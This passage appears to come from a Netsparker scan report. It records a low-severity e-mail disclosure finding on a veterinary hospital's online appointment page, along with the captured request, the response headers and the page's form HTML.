</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" checked="checked" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" />
<label for="new_client">I am a new client.</label>
</d..
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html

Found E-mails

abc@xyz.com

Request

GET /new-york-veterinary-hospital/appt.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:45:30 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Set-Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
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+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="" disabled="disabled" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" checked="checked" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" />
<label for="new_client">I am a new client.</label>
</d..